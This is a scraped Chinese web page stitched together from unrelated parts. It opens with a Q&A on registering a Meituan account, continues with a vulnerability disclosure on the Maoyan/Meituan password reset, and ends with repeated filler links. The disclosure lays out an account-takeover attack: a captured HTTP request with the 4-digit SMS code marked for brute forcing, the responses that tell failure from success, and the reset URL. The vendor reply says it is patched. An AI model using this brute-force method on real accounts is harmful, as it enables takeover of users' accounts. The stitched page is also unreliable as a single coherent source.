美团帐号注销没有设置密码手机有没有在身边怎么上号

来源：蜘蛛抓取(WebSpider) 时间：2016-01-09 03:58 标签： 美团帐号注册
没美团账号怎样手机操作美团团购_百度知道
没美团账号怎样手机操作美团团购
手机操作美团步骤：1 . 在手机上下载一个美团软件；
2 . 打开美团团购网，点击右上角“我的”；
3 . 点击页面左下角“立即注册”；
4 . 输入手机号码，点击“获取验证码”；
5 . 输入验证码，点击确定；
6 . 手机号会收到一个验证码，填写验证码后，点击“提交验证码”；
7 . 设置密码，输入俩次，点击“设置密码”；
8 . 美团账号就注册完成了，登陆账号和密码就可以进行团购了。
其他类似问题
为您推荐：
最后在支付订单界面后，具体注册方法按美团的注册指引就可以了，按“立即抢购”按键，点击“提交订单”按键：首先打开美团团购软件，不难的，选择点击一个团购；进入提交订单界面；注册完毕后就可以开始团购了，按“确定支付”按键即可可以直接注册一个账号，可以直接用手机号码注册的，然后在进入团购详情界面后，进入首页
直接去网页版的注册一个，然后等进去哇
这个必须要注册一个才得行
美团的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
happy new year:)
详细说明：
昨天用美团团了几张电影票，在电影院取票的时候发现了猫眼的终端，一看是美团的，今天就看了下，结果就有了这个洞子：）
1）存在问题的接口如下，在猫眼的登陆处：
2）这里使用手机、邮箱、账户名均可进行密码找回操作；
3）相信所有美团的用户肯定都绑定了手机号码的，所以这个缺陷适用于所有美团帐号，4位数纯数字验证码，未限制校验错误次数；
4）因为是4位纯数字验证码，搞定一个帐号也就分分钟的事情，下面是抓的验证的数据包；
code 区域POST /risk/verify.json HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 32
Accept: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: /risk/downsms
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,q=0.8,q=0.6,zh-TW;q=0.4,q=0.2,q=0.2
Cookie: ...
policy=4&=136*******3&value=§1000§
在爆破到真实验证码之前系统响应：
code 区域{&status&:121008,&message&:&验证错误&}
当获取到真实验证码之后系统会一直响应：
code 区域{&status&:0,&data&:&/risk/resetpassword&}
5）所有我们对验证码进行暴力破解后，直接访问下面的页面即可完成用户的密码重置；
code 区域/risk/resetpassword
6)设置攻击者想要重置的密码即可；
漏洞证明：
见详细说明
修复方案：
你们懂的，4位数字验证码太不应该~
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：15
确认时间： 16:12
厂商回复：
感谢关注！已经暂时补上。我们会进一步深挖漏洞形成原因，防止类似错误再次发生！
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
@niliu莫非？
最后张图,第一次看见url是汉字的.洞主你做了什么
登录后才能发表评论，请先12345678910
1生活工具 2生活工具 3生活工具 4生活工具 5生活工具 6生活工具 7生活工具 8生活工具 9生活工具 10生活工具 11生活工具 12生活工具 13生活工具 14生活工具 15生活工具
1生活工具 2生活工具 3生活工具 4生活工具 5生活工具 6生活工具 7生活工具 8生活工具 9生活工具 10生活工具 11生活工具 12生活工具 13生活工具 14生活工具 15生活工具

我要回帖

更多关于 美团帐号注册 的文章

 

随机推荐